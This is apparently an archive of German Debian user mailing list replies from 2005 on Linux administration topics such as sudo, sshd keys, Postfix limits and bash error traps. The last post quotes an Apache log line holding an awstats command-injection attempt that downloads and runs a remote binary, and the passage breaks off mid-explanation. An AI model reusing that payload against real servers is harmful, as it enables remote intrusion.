Geschmackssache, wie man das einstellt (Hallo snmpd, lebst/loggst Du
noch?!) und ob man protokolliert haben möchte, welcher SNMP-Client mit
dem snmpd Kontakt aufgenommen hat.

- sebastian



Re: cacti und rrdtools auf vserver, geht das?

2005-12-03 Diskussionsfäden Sebastian Kayser
* Christian Frankerl [EMAIL PROTECTED] wrote:
 ich hab bei server4you einen vserver und wollte als diagnosetool cacti
 laufen lassen. Anscheinend bekommen die rrdtools keine Daten auf dem
 vserver. Zumindest fehlen bei den Standardgraphen (LoadAVG usw.) die
 Graphen. Auch nach knapp 30 min sind immer noch keine Werte verfügbar.

Hast Du auch den Poller von Cacti per Cron eingerichtet? Wenn ja, rufe
den doch mal manuell auf und schaue Dir dessen Ausgabe auf Probleme hin
an.

 Eine weitere Frage hätte ich noch. Ich hab cacti ebenfalls auf meine
 Router laufen, allerdings schaffe ich es nicht die CPU Last in % mir
 angeben zu lassen. Loadavg, Prozesse usw. sind kein Problem. Wie kann ich mir
 aber die CPU Auslastung in % anzeigen bzw. protokollieren lassen? Ich
 hab nur den Cisco - CPU und den upd/net - CPU gefunden, was ja nicht
 dem CPU des Rechners entspricht oder?

Wenn Du auf dem Router net-snmp (Paket snmpd) installierst, kann Du per
ucd/net - CPU auch dessen CPU-Last mittels SNMP abgreifen. Für die
notwendigen Rechte musst Du in der Standardkonfiguration des snmpd von
sarge (/etc/snmp/snmpd.conf) das Mapping der community public auf den
Security-Namen paranoid auskommentieren, das Mapping von public auf
readonly entkommentieren (suche nach den Zeilen mit com2sec) und dem
snmpd einen Reload geben. Alternativ kannst Du auch die komplette
Standardkonfiguration über Bord schmeissen und snmpd.conf lediglich mit 

rocommunity public 127.0.0.1

befüllen. Das ist dann die einfachere Variante der Rechtevergabe.

Evtl. findest Du in den Cacti-Foren noch ein alternative Variante ohne
lokalen snmpd an die lokale CPU-Last zu kommen, wenn dort schonmal
jemand ein entsprechendes Input-Skript gebastelt hat. Ich würde mir
jedoch den snmpd installieren (wenn ich ihn nicht sowieso schon laufen
hätte).

- sebastian



Re: sudo für Dummys

2005-12-02 Diskussionsfäden Sebastian Kayser
* Ulrich Fürst [EMAIL PROTECTED] wrote:
 Sebastian Kayser [EMAIL PROTECTED] wrote: 
  schätze localhost wäre synonym mit ALL.

 Nein, das Synonym ist LOKAL. Z.B.
 ulrich  LOKAL=PASSWD:   /usr/sbin/eximon

Ob in der sudoers nun ALL oder eine eingegrenzte Host_List hinterlegt
wird, ist doch nur für Umgebungen relevant, in denen die sudoers nicht
lokal sondern zentral in z.B. einem LDAP-Verzeichnis gepflegt wird (gibt
es noch weitere zentralisierte sudoers-Varianten?). 

Daher meinte ich, sobald ein Eintrag a la localhost von sudo akzeptiert
werden würde, wäre das in einer solchen Umgebung de facto ein ALL.

Zu Deinem LOKAL. LOKAL ist zumindest bei mir kein allgemeingültiger
Host_Alias, das ist wohl ein bei Dir gesetzter Alias auf Deinen
hostnamen bzw. Deine IP, oder? 

- sebastian



Re: Programm, um den Speicherverbrauch von Verzeichnissen zu ermitteln

2005-12-02 Diskussionsfäden Sebastian Kayser
* Peter Schütt [EMAIL PROTECTED] wrote:
 ich (Debian Testing/Unstable) möchte mein Home mal auf DVDs sichern.
 Dazu hätte ich gerne ein Programm, daß mir alle Verzeichnisse baumartig mit
 dem jeweiligen Platzverbrauch anzeigt.
 Was kann man da nehmen?

Du suchst 'durep'. Hat einen Modus für die Konsolen-Ansicht, kann aber
auch HTML-Seiten produzieren.

Etwas wie z.B. TreeSize unter Windows als GUI-Anwendung habe ich noch
nicht verwendet.

- sebastian



Re: shortcuts ?

2005-12-02 Diskussionsfäden Sebastian Kayser
* Daniel Kämtner [EMAIL PROTECTED] wrote:
 könntest Du mir erklären was TOFU bedeutet ?
 Ich kann damit nichts anfangen.

http://de.wikipedia.org/wiki/TOFU

Es ist deutlicher schwerer, Deine Antworten in den aktuellen
Diskussionsfaden einzuordnen, wenn die Antwort lediglich über dem Rest
der Mail(s) steht, auf die Du Dich beziehst.

Eingebürgert hat sich das Inline-Quoting, bei dem man seine Antworten
innerhalb der zitierten Vorgänger-Mail(s) einordnet. Details siehe
obenstehender Wikipedia-Artikel.

- sebastian



Bezugsquelle fü r alte Pakete aus sarge?

2005-12-02 Diskussionsfäden Sebastian Kayser
Hallo miteinander,

ich habe hier ein Problem mit der aktuellen gzip-Version in sarge
(1.3.5-10). Darin ist ein Patch eingeflossen (#308379), der ein
theoretisches Sicherheits-Problem behebt, aber wiederum selbst ein neues
Problem aufwirft (#314342). Unter dem neuen Problem leide ich wesentlich
aktuer als unter dem vorherigen Sicherheits-Problem und diese Problem
ist erst in Version 1.3.5-11 behoben, die aber wiederum nicht in sarge
enthalten ist. *sigh*

Jetzt stellen sich mir zwei Fragen:

*) In erster Instanz wollte ich auf 1.3.5-9 downgraden. Wo bekomme ich
denn das überhaupt noch her. Ich bin mir sicher, dass dergleichen schon
öfter über die Liste gegeistert ist, ich finds aber aktuell einfach
nicht ...
 
Geschaut habe ich unter
ftp://ftp.de.debian.org/debian/pool/main/g/gzip/

*) Warum fliesst prinzipiell 1.3.5-11 mit dem Fix für ein Problem wie in
#314342 beschrieben nicht als Paket in sarge. zgrep ist de facto erstmal
nicht nutzbar?

Referenzen:
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=308379
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=314342

- sebastian



Re: Bezugsquelle fü r alte Pakete aus sarge?

2005-12-02 Diskussionsfäden Sebastian Kayser
* Andreas Kroschel [EMAIL PROTECTED] wrote:
 * Sebastian Kayser:
 
  *) In erster Instanz wollte ich auf 1.3.5-9 downgraden. Wo bekomme ich
  denn das überhaupt noch her. Ich bin mir sicher, dass dergleichen schon
  öfter über die Liste gegeistert ist, ich finds aber aktuell einfach
  nicht ...
 
 Wenn Du die Versionsnummer so genau weißt, ist es eigentlich kein
 Problem: http://snapshot.debian.net/package/package/version 

Danke, das habe ich gesucht, Frage 1 beantwortet. Bleibt die Frage, ob
es einen Grund gibt, weshalb 1.3.5-11 nicht den Weg in sarge gefunden
hat.

 Da scheint aber momentan etwas durcheinander gekommen zu sein, das deb
 liegt unter http://snapshot.debian.net/package/gzip/1.3.5-10.

Tatsache, eine Menge Links, die ins Leere zeigen. Danke für die direkte
URL.

- sebastian



Re: Bezugsquelle fü r alte Pakete aus sarge?

2005-12-02 Diskussionsfäden Sebastian Kayser
* Frank Küster [EMAIL PROTECTED] wrote:
 Sebastian Kayser [EMAIL PROTECTED] wrote:
 
  Danke, das habe ich gesucht, Frage 1 beantwortet. Bleibt die Frage, ob
  es einen Grund gibt, weshalb 1.3.5-11 nicht den Weg in sarge gefunden
  hat.
 
 Weil das halt nur ein nerviger Bug ist, aber keine Sicherheitslücke.  So
 ist halt Debian stable - bug-to-bug kompatibel mit sich selber.

Dann habe ich zwei Dinge gelernt:

1) Folgendes, sowie die genauen Umstände des Bugreports genau lesen

 ,-[ Developers Reference 5.5.1 ]
| ...
| Basically, a package should only be uploaded to stable if one of the
| following happens:
| 
| * a truly critical functionality problem
| ^^
| ...
 `--

und lernen, mit kleinen Unannehmlichkeiten zu leben. Ich war der Meinung
auf dem betroffenen System mit einer bash zu arbeiten, jedoch ..

2) Irgendein Hansel hat auf besagtem System die dash installiert und
beim dpkg --configure großzügig die dash als /bin/sh verlinken lassen
(mich aus dem Kreis der Verdächtigen nicht ausgeschlossen, dash kam
wahrscheinlich als depend von apt-move mit). Mit #!/bin/sh als
Interpreter für zgrep ging dass natürlich in die Hose.

 Aber es ist ja auch leicht zu lösen:  
 
 # cp /bin/zgrep /usr/local/bin/zgrep
 # cd /usr/local/bin
 # patch  $patch_aus_http://bugs.debian.org/314342

Die Behebung war nicht das Problem, Alternativen gab es ja mehrere. Die
gewonnenen Erkenntnise bzgl. der Debian-Abläufe und -Anlaufstellen waren
mir wichtig. Danke trotzdem.

 Nebenbei: http://bugs.debian.org/314342 ist kürzer als die von dir
 geposteten Links und funktioniert auch).

Jepp, surfe ich auch so an, die Links kamen aus Bequemlichkeit per Copy
 Paste aus meinem Browser.

- sebastian



Re: sudo für Dummys

2005-12-01 Diskussionsfäden Sebastian Kayser
* Peter Schütt [EMAIL PROTECTED] wrote:
 ich weiß zwar prinzipiell, was sudo ist (ausführen eines Befehls im Kontext
 eines anderen Benutzers), aber wie man das im Detail richtig einrichtet,
 weiß ich nicht.
 Bisher habe ich bei Bedarf in der Console immer su eingegeben und wenn ich
 fertig war exit.
 
 Für die Nutzung von qemu steht in /etc/qemu-ifup folgendes:
 #!/bin/sh
 sudo -p Password for $0: /sbin/ifconfig $1 172.20.0.1
 
 Ich nehme mal an, daß das nur funktioniert, wenn sudo richtig konfiguriert
 ist.

Richtig.

 Wenn ich jetzt in /etc/sudoers 
 benutzerALL = (ALL) ALL
 
 einstelle, dann ist das doch ein ziemliches Sicherheitsrisiko, oder?

Ja. Benutzer 'benutzer' darf per sudo mit den Rechten eines beliebigen
Benutzers jedes beliebige Kommando ausführen.

 Wo finde ich sinnvolle Beispiele?

Schaue Dir den Abschnitt EXAMPLES in der manpage zu sudoers an. Dort
findest Du praxisnahe Beispiele. Evtl. noch ein paar Querchecks mit dem
Rest der manpage und Du solltest in der Lage sein, eine sinnvolle
sudo-Konfiguration zu erstellen.

- sebastian



Re: sshd mag kein pub-key-auth mehr

2005-12-01 Diskussionsfäden Sebastian Kayser
* Andreas Pakulat [EMAIL PROTECTED] wrote:
 On 01.12.05 21:40:23, Wolf Wiegand wrote:
  Hallo!
  
  Andreas Pakulat wrote:
  
   musste vorhin einen meiner keys neu generieren (war bisher ohne PW,
   jetzt mit). 
   
   [...] und nun kann ich als normaler User nicht mehr mittels -l root
   auf dem jeweils anderen Rechner einloggen mittels pub-key-auth. [...]
  
  Irgendwas im Log vom sshd/im Syslog?
 
 In auth.log steht nichts  auch mit LogLevel VERBOSE nicht.

Meinst Du nichts wie überhaupt nichts oder nichts wie nichts Relevantes?
;)

Üblicherweise haben solche Pubkey-Probleme mit zu offenen Berechtigungen
der authorized_keys bzw. von ~/.ssh zu tun. Sobald dort
Schreibberechtigungen für die Gruppe drauf sitzen, weigert sich sshd
Pubkey-Authentifizierung zu fahren.

Insofern Du also im Zuge Deiner Neugenerierung von Schlüsseln (so ganz
kapiert, was Du jetzt genau wo erneuert hast, habe ich noch nicht) mit
einer zu losen umask entweder ~/.ssh oder authorized_keys neu angelegt
hast, mag das evtl. der Quell Deines Problems sein. Wenn ich mich recht
entsinne würde das aber mit einer entsprechenden Meldung in auth.log
quittiert (bad ownership o.ä.).

- sebastian



Re: sshd mag kein pub-key-auth mehr

2005-12-01 Diskussionsfäden Sebastian Kayser
* Simon Neumeister [EMAIL PROTECTED] wrote:
 Am Donnerstag, 1. Dezember 2005 22:16 schrieb Ingo Juergensmann:
  On Thu, Dec 01, 2005 at 10:07:38PM +0100, Andreas Pakulat wrote:
Irgendwas im Log vom sshd/im Syslog?
  
   In auth.log steht nichts  auch mit LogLevel VERBOSE nicht.
 
  Die Permissions von ~/.ssh/authorized_keys stimmen auch?
 
 Die Rechte müssen auf 0700 für ~/.ssh/ gesetzt sein, sonst wirst du nach 
 dem Passwort gefragt.

Mhhh, bei mir funktioniert ebenso

0755, 0500, 0555, 0100, ... (suid, sgid und sticky habe ich mir jetzt
mal gespart).

Du meinst wohl eher, es dürfen keine Schreibberechtigungen für g und o
existieren?! SCNR ;)

- sebastian



Re: sshd mag kein pub-key-auth mehr

2005-12-01 Diskussionsfäden Sebastian Kayser
* Andreas Pakulat [EMAIL PROTECTED] wrote:
 On 01.12.05 22:16:43, Ingo Juergensmann wrote:
  On Thu, Dec 01, 2005 at 10:07:38PM +0100, Andreas Pakulat wrote:
  
Irgendwas im Log vom sshd/im Syslog?
   In auth.log steht nichts  auch mit LogLevel VERBOSE nicht.

Siehst Du sprechendere Ausgaben des sshd, wenn Du diesen manuell mit -Dd
(steigerbar bis -Dddd) startest und dann einen Connect durchführst?

  Die Permissions von ~/.ssh/authorized_keys stimmen auch?
 
 Die war bei alle 644, sprich daran stoert sich ssh wohl nicht.
 Jedenfalls gehts auch mit 600 nicht.

Sprich, sowohl ~/.ssh als auch ~/.ssh/authorized keys passen
berechtigungstechnisch?

- sebastian



Re: sudo für Dummys

2005-12-01 Diskussionsfäden Sebastian Kayser
* Christian Frommeyer [EMAIL PROTECTED] wrote:
 Am Donnerstag 01 Dezember 2005 22:18 schrieb Matthias Taube:
  Dort kannst Du z.B. mittels
  peterALL=(root) NOPASSWD:/usr/sbin/exim4 -DOUTGOING -qff
^^^
 Gibt es einen Grund da nicht localhost zu verwenden?

Ich denke in dem Fall ist es eher Bequemlichkeit bzw. aus einem HowTo
entsprungen, welches sicherheitshalber für die Host_List ALL verwendet,
damits auch per CopyPaste bei jedem Leser funktioniert.

Aber interessehalber habe ich das eben kurz getestet. Bei mir
funktioniert entweder nur mein wirklicher Hostname (wie von hostname
zurückgegeben) oder die IP, mit der der mein Hostname in /etc/hosts
verknüpft ist. 'localhost' bzw.  '127.0.0.1' funktionieren nicht. Ich
schätze localhost wäre synonym mit ALL.

- sebastian



Re: Traffic dynamisch limitieren

2005-11-30 Diskussionsfäden Sebastian Kayser
* Pascal Tritten [EMAIL PROTECTED] wrote:
 Ich habe folgendes Problem: Mein Kunde hat eine 2Mbit Anbindung ans 
 Internet. Nebst einigen Windows Web- und sonstigen Servern stehen in 
 seinem Netz auch zwei Debian-Server die u.a. FTP anbieten. Er möchte nun 
 v.a. den FTP-Traffic auf den zwei Debian-Servern limitieren, wenn die 
 Auslastung seiner Anbindung gegen 100% geht, da er sonst Penalties 
 bezahlen muss.
 Ich habe mich nun schon etwas mit tc (auf lartc.org) auseinandergesetzt 
 und auch Google befragt, doch irgendwie habe ich noch keine Lösung für 
 mein Problem gefunden, da dies alles nur immer eine Maschine betrifft.
 Gibt es überhaupt eine Möglichkeit, dynamisch den Traffic zu limitieren, 
 abhängig von snmp-Informationen die vom Router kommen?
 Wenn ja, kann mir jemand ein paar Anhaltspunkte geben?

Insofern der Traffic der beiden FTP-Server wiederum über einen zentralen
Linux-Server ins Internet geht, kann ich mir vorstellen, dass Du dort
der Auslastung auch für zwei gesonderte Hosts mit tc beikommst. Habe ich
selbst jedoch noch nicht gemacht.

Wenns auch ein paar Euro kosten darf, schau Dir mal

http://www.packeteer.com/

an. Die haben eine Appliance (PacketShaper), über die Du obige
Anforderung und noch viel mehr abdecken kannst. Das Teil wird dann
zwischen Firewall und Provider-Router geklemmt und erledigt das
Bandbreiten-Management (d.h. Monitoring und Reglementierung) für
jeglichen Internet-Traffic.

- sebastian



Re: login, pam, ldap und anderes

2005-11-30 Diskussionsfäden Sebastian Kayser
* Uwe Laverenz [EMAIL PROTECTED] wrote:
 On Wed, Nov 30, 2005 at 04:13:56PM +0100, Michelle Konzack wrote:

 [...]

  Ich verwende zur authentifizierung pam_pgsql und alle infos habe ich
  bereits in meiner PostgreSQL in den Tabellen auth, userinfo.
  
  Also es geht mit jetzt nur noch, wie ich das Problem mit der UID, 
  GID, GECOS, $HOME und $SHELL sowie der Gruppen lösen kann.
 
 $ apt-cache show libnss-pgsql1
 
 Allerdings weiss ich nicht, wie gut das funktioniert. Gerade diese
 Anfragen (uid, gid, ...) sind sehr häufig und damit teuer. Ich kann
 mir vorstellen, dass eine Lösung mit PostgreSQL nicht so toll
 skaliert. 

In Sachen teuere Anfragen, hilft nscd nach. Selbst beim Einsatz von LDAP
kann/sollte man darüber nachdenken.

 ,-[ apt-cache show nscd ]
| ...
| Description: GNU C Library: Name Service Cache Daemon
|  A daemon which handles passwd, group and host lookups
|  for running programs and caches the results for the next
|  query. You should install this package only if you use
|  slow Services like LDAP, NIS or NIS+
| ...
 `--

- sebastian



Re: polling mit der bash

2005-11-29 Diskussionsfäden Sebastian Kayser
* Michael Will [EMAIL PROTECTED] wrote:
 wie kann ich es mit der Bash bewerkstelligen, dass 
 sobald eine bestimmte Datei verändert wurde, ein
 Vorgang ausgelöst wird? 
 Ich dachte mir das als ein ständig laufendes Bashskript,
 welches in einer Endlosschleife die betreffende
 Datei auf Veränderung überprüft. 

Was genau willst Du denn machen? Liegt die Datei alleine in einem
Verzeichnis bzw. kannst Du Sie alleine in ein Verzeichnis legen, dann
schaue Dir mal dnotify an.

 ,-[ apt-cache show dnotify ]
|  ...
| Description: Execute a command when the contents of a directory change
|  dnotify is a simple program based on Linux kernel 2.4.19+'s dnotify
|   API. 
|  ...
 `--

 while true;
 do
  zeitstempel=`date +%s`
  aenderung=`find . -maxdepth 1 -name datei.xy -printf '%C@'`
  differenz=`echo $zeitstempel-$aenderung|bc`
  if [$differenz -le 2 ]
   then
hier kommt die eigentliche Aktion!
  fi
  sleep 1
 done

Selbst falls die Datei nicht einzeln in einem Verzeichnis liegt, lässt
sich durch eine Kombination Deines Skriptes und dnotify zumindest das
ständig laufende find vermeiden.

- sebastian



Re: Firefox und MTA

2005-11-29 Diskussionsfäden Sebastian Kayser
* Martin D. [EMAIL PROTECTED] wrote:
 wie bringe ich denn meinem Firefox bloss bei, als MTA nicht evolution, 
 sondern Thunderbird zu auf zu rufen?

Gebe about:config in die Adresszeile ein und

a) filtere auf Parameter mit mail 
b) schmeisse dann google an.

Dabei findest Du dann (u.a.)

a) network.protocol-handler.external.mailto
b) http://internet.newsforge.com/article.pl?sid=05/05/26/1525248tid=144
bzw.
   http://gentoo-wiki.com/TIP_Integrate_Thunderbird_and_Firefox

- sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: Postfix - Message too Large 552

2005-11-28 Diskussionsfäden Sebastian Kayser
* Oliver Stephan [EMAIL PROTECTED] wrote:
 ich habe nach dem Tutorial von workaround.org (isp/Sarge) einen
 Mailserver aufgesetzt, er funktioniert Prächtig bis auf das ich jetzt
 versucht habe eine (Legale) mp3 an eines meiner eingetragenen User zu
 schicken. Größe ist knapp 8,5MB. Normale Textmails bereiten mir keine
 Probleme, aber anscheinend größere Dateien schon, sehe leider in der
 /var/log/mail.err und mail.log da keine Hinweise, nur die die GMX mir
 schickt als delivery failure..

D.h. Du schickst Du per GMX eine Mail an einen Deiner User?!

 Habt Ihr irgendwelche Ideen was das Verursachen könnte, habe die Logs
 und google durchforstet, aber bin nicht Fündig geworden.
 
 Anbei
 - Meldung von GMX (verfremdet)
 - postconf -n
 ___
 
 Hi. This is the qmail-send program at mail.gmx.net.
 I'm afraid I wasn't able to deliver your message to the following addresses.
 This is a permanent error; I've given up. Sorry it didn't work out.
 
 [EMAIL PROTECTED]:
 xx.xxx.xx.xxx_failed_after_I_sent_the_message./Remote_host_said:_552_Error:_message_too_large/

Da stehts doch. GMX konnte die Mail nicht beim Mailserver abliefern, an
den die Mail gehen sollte, weil Deine Mail diesem offensichtlich zu groß
war/ist (message_too_large). Ist example.org nun die Domain, die auf
Deinem konfigurierten Mailserver liegt? 

Wenn ja, dann betrachte Dir mal den Postfix-Parameter für die maximale
Mailgröße (message_size_limit). Der steht im Default auf ~10MB und Deine
8,5MB-MP3 kommt mit der für die Übertragung benötigten Base64-Kodierung
auf etwas mehr als 11MB.

Tu Dir und uns einen Gefallen und lasse die Anonymisierung weg, dann
ist alles ein wenig einfacher.

- sebastian



Re: Postfix - Message too Large 552

2005-11-28 Diskussionsfäden Sebastian Kayser
* Oliver Stephan [EMAIL PROTECTED] wrote:
 
  Der message_size_limit wert ist auf =0, dachte das wäre dann unbegrenzt
 
 Kann es sein das ich das mit mailbox_size_limit (siehe postconf -n)
 verwechselt habe..
 
 denn wie ich gerade Sehe hab ich kein message_size_limit definiert..

Japp. Beides hat seinen Sinn/Zweck, aber Dein Problem ist aktuell das
message_size_limit.

- sebastian



Re: Installation vortä uschen

2005-11-23 Diskussionsfäden Sebastian Kayser
* Jim Knuth [EMAIL PROTECTED] wrote:
 wie kann man denn folgendes machen?
 
 Bei mir war Apache 1.3.33 vorinstalliert, aber nicht als Debian
 Paket. Jetzt will ich aber Apache auf HOLD setzen. Das geht aber
 nicht. Kann man eine Installation vortäuschen, dass man das Paket
 aber nicht wirklich installiert? Und dann HOLD machen kann. Danke
 für jeden Tipp.

Das Paket equivs sollte Dir weiterhelfen.

apt-cache show equivs

- sebastian



Re: resolv.conf/search list wird geändert

2005-11-21 Diskussionsfäden Sebastian Kayser
* Christian Lox [EMAIL PROTECTED] wrote:
 Ich habe auf einer Kiste (einem 11 Rootserver) folgendes Problem:
 Regelmässig (ich vermute einen Cronjob, kann ihn aber nicht ausfindig 
 machen) wird die searchlist in der resolv.conf geändert. Meine Einträge 
 werden überschrieben, stattdessen taucht da dann pureserver.info auf.
 Das hat natürlich diverse Nebenwirkungen... :)
 Weiss jemand wo das herkommt? Der dhclient scheint es nicht zu sein.

Habe keinen 11 Rootserver, daher keine Ahnung was dort definitiv
vonstatten geht.

Zwei Ansatzpunkte:

*) Installieren Dir acct fürs Process-Accounting und wenn die Datei mal
wieder geändert wurde, prüfe die Accounting-Daten auf den Zeitpunkt, an
dem die Änderung stattfand (per lastcomm).

*) Die harte Tour. Setze per chattr +i /etc/resolv.conf das
Immutable-Bit auf die betroffene Datei, dann kann daran nichts mehr
geändert werden (auch nicht von root, insofern er das Bit nicht vorher
wieder aufhebt).

- sebastian



Re: dd und HDD Fehler

2005-11-21 Diskussionsfäden Sebastian Kayser
* Markus Bulling [EMAIL PROTECTED] wrote:
 Hatte auf einer 40er Maxtor schon länger Fehler beim fsck, die sich vor 
 ein paar Tagen gehäuft haben. Ich habe daraufhin vorgestern einfach ein
 dd if=/dev/altePlatte of=/dev/neuePlatte
 gemacht. Vor 10 Minuten gab's aber auch von der neuen Platte bei 
 fsck.ext3 jede Menge Meldungen:
 
   /dev/hda3: stelle das Journal wieder her
   /dev/hda3 enthält ein fehlerhaftes Dateisystem, Prüfung erzwungen.
   Durchgang 1: Prüfe Inodes, Blocks, und Größen
   Inodes,  die Teile einer defekten Liste mit verwaisten Links waren. 
   Reparierej? ja
   
   Inode 1312197 war Teil der orphaned Inode Liste.  REPARIERT.
   Gelöscht Inode 1312633 hat zero dtime.  Reparierej? ja
   
   Inode 1313080 war Teil der orphaned Inode Liste.  REPARIERT.
   Inode 1313119 war Teil der orphaned Inode Liste.  REPARIERT.
   [...]
   
   Durchgang 5: Überprüfe Gruppe Zusammenfassung
   Block Bitmap differieren:  +1433262 -2621975 -2623209 
 -(2625239--2625244) -2625246 -(2634278--2634280) -2640134 -2640316
   [...]
   
   Freie Blocks Anzahl ist falsch Gruppe #80 (116, counted=135).
   Reparierej? ja
   [...]
   
   Inode Bitmap differieren:  -1312197 -1312633 -1313080 -1313119 
 -1313145 -1313147 -1313298 -1313476 -1313492 -1313495 
 -(1736706--1736708) -1736761
   Reparierej? ja
   [...]
   
 Kopiert dd etwa auch fehlerhafte Blocks, oder ist die neue Platte auch 
 schon im Eimer??

Falls Dein _Dateisystem_ auf der alten Platte schon Probleme hatte, dann
sind diese mit dd auch auf der neuen Platte gelandet. Die physikalischen
Blöcke dort mögen also vollkommen in Ordnung sein, das Dateisystem
selbst hast Du mit dd aber 1:1 rübergeholt.

Besser: Neue Platte partitionieren, formatieren und Daten per tar/rsync
kopieren. Dann hast Du 'nen frisches Dateisystem ohne Probleme.

- sebastian



Bash: Fehler auch übe r Pipes hinweg abfangen

2005-11-21 Diskussionsfäden Sebastian Kayser
Hallo mitnander,

ich baue gerade ein Bash-Skript, in dem ich Fehler von im Skript
aufgerufenen Kommandos abfangen möchte. Aktuell habe ich das mit trap
global realisiert (also ohne jeden einzelnen Rückgabewert individuell zu
prüfen).

 Errorhandling im Bash-Skript 

function trap_error {
echo Error: Subcommand returned non-zero return value: $?
exit 1
}

trap trap_error ERR

 /Errorhandling 

Das funktioniert auch schön für alleinstehende Kommandos

$ tail -2 trap.sh
./kommando_gibts_net 
echo foo

$ ./trap.sh
./trap.sh: line 10: ./kommando_gibts_net: No such file or directory
Subcommand returned non zero status: 127

Der Fehler wird abgefangen und das Skript nicht weiter ausgeführt,
soweit so gut. Sobald ich jedoch ein aufzurufendes Kommando in eine Pipe
packe, klappt das schon nicht mehr. Der Fehler wird nicht mehr
abgefangen.

$ tail -2 trap.sh
./kommando_gibts_net | cat
echo foo

$ ./trap.sh
./trap.sh: line 10: ./kommando_gibts_net: No such file or directory
foo

Gibt es eine Möglichkeit Fehler von aufgerufenen Kommandos trotz der
Verwendung von Pipes mittels trap oder etwas Ähnlichem abzufangen?

- sebastian



Re: Bash: Fehler auch übe r Pipes hinweg abfangen

2005-11-21 Diskussionsfäden Sebastian Kayser
* Frank Küster [EMAIL PROTECTED] wrote:
 Sebastian Kayser [EMAIL PROTECTED] wrote:
 
  Gibt es eine Möglichkeit Fehler von aufgerufenen Kommandos trotz der
  Verwendung von Pipes mittels trap oder etwas Ähnlichem abzufangen?
 
 , set -e
 | Exit immediately if a simple command (see SHELL GRAMMAR above) exits
 | with a non-zero status.  The shell does not exit if the command that
 | fails is part of an until or while loop, part of an if statement, part
 | of a  or || list, or if the command's return value is being inverted
 | via !.  A trap on ERR, if set, is executed before the shell exits.
 `

Ich hab' grad noch überlegt, ob ich hinterherschicken soll, dass ich das
auch probiert hatte (nachdem ich ja kürzlich hier über das set -e
aufgeklärt wurde). Funktioniert leider nicht.

$ cat trap.sh
#!/bin/bash

set -e

function trap_error {
echo Subcommand returned non zero status: $?
exit 2
}
trap trap_error ERR

./kommando_gibts_net | cat
echo foo

$ ./trap.sh
./trap.sh: line 11: ./kommando_gibts_net: No such file or directory
foo

Auch hiermit wird echo foo noch ausgeführt. Den trap-Aufruf hatte ich
testweise auch auskommentiert, selbes Problem. Jegliche weitere Ideen
sind gerne gesehen.

- sebastian

P.S.: Hat jemand ein mutt-Macro für einen schönen Inline-Kasten
ähnlich dem, in den Frank das set -e gesetzt hast?!



Re: Bash: Fehler auch übe r Pipes hinweg abfangen

2005-11-21 Diskussionsfäden Sebastian Kayser
* Andreas Pakulat [EMAIL PROTECTED] wrote:
 On 21.11.05 14:53:45, Sebastian Kayser wrote:
  * Frank Küster [EMAIL PROTECTED] wrote:
   , set -e
   | Exit immediately if a simple command (see SHELL GRAMMAR above) exits
   | with a non-zero status.  The shell does not exit if the command that
   | fails is part of an until or while loop, part of an if statement, part
   | of a  or || list, or if the command's return value is being inverted
   | via !.  A trap on ERR, if set, is executed before the shell exits.
   `
  
  P.S.: Hat jemand ein mutt-Macro für einen schönen Inline-Kasten
  ähnlich dem, in den Frank das set -e gesetzt hast?!
 
 Das hat nichts mit mutt zu tun sondern wird vom Editor erzeugt, fuer vim
 gibts dazu boxquote.vim. Aber ich glaube nicht als Debian-Paket, musst
 mal nach boxquote googlen. Die .vim-Datei einfach unter
 $HOME/.vim/plugin ablegen und mittel Bq oder Bqf nutzen.

Perfekt, danke. Fündig geworden bin ich per vim textbox auf
groups.google.de und habe nun eine leicht abgewandelte Variante eines
Mappings von dort im Einsatz (boxquote.vim habe ich nicht gefunden).

vmap bx s,  CR`ESCPv`]:s/^/\| /CR'[k$i

Ist optisch zwar etwas kryptisch, aber funktioniert bestens.

Jetzt fehlt mir nur noch ein Tip wegen der Pipe-Fehlerbehandlung, dann
bin ich glücklich ;)

- sebastian



Re: [OT] HTML lib für C++

2005-11-20 Diskussionsfäden Sebastian Kayser
* Andreas Pakulat [EMAIL PROTECTED] wrote:
 ich suche eine in debian unstable verfuegbare Library die es erlaubt
 HTML zu behandeln (ich geb HTML zu futtern und kannn dann nach
 bestimmten Tags suchen, deren Inhalt auslesen usw.)

Auch wenns keine direkte Antwort auf Deine Frage ist (denn mit einer
c++-Library kann ich nicht dienen), schaue Dir doch mal sgrep an. Damit
kannst Du aus strukturierten Texten (HTML, SGML, XML, ...) Inhalte
extrahieren. 

Evtl. findet sich dort etwas, was Du verwenden kannst (das Programm
selbst oder aber Anleihen im Sourcecode).

- sebastian


-- 
Haeufig gestellte Fragen und Antworten (FAQ): 
http://www.de.debian.org/debian-user-german-FAQ/

Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED]
mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)



Re: Apache access.log

2005-11-19 Diskussionsfäden Sebastian Kayser
* Harald Tobias [EMAIL PROTECTED] wrote:
 ich bitte mal wieder um Rat. Nachdem mein Webserver nun läuft, dank 
 eurer Hilfe wg. ddclient, habe ich in der access.log jede Menge Einträge 
 die ich nicht verstehe. Erst mal weiß ich gar nicht wieso ich so viele 
 (Hunderte täglich) Zugriffe habe, denn die DynDNS-Domain ist nur 4 
 Personen bekannt.

Das sind völlig wahllose Zugriff auf offene HTTP-Ports in
Dial-Up-Addressbereichen. Hat also nichts mit Deiner DynDNS-Domain zu
tun.

 Laut Whois habe ich aber Zugriffe aus Deutschland, China, Japan, 
 Italien, Spanien, Frankreich und weiteren Ländern. Sind dort Hacker beim 
 ausprobieren oder was passiert da?

Richtig.

 Wenn ich die Einträge richtig deute, wird häufig versucht auf Dateien 
 und Verzeichnisse zuzugreifen, die jedoch gar nicht existieren.
 
 Beispiele:
 
 82.234.215.180 - - [15/Nov/2005:03:31:35 +0100] GET 
 /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo|
  
  HTTP/1.1 404 288 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)

Es wird versucht, über awstats - welches in letzter Zeit einige Exploits
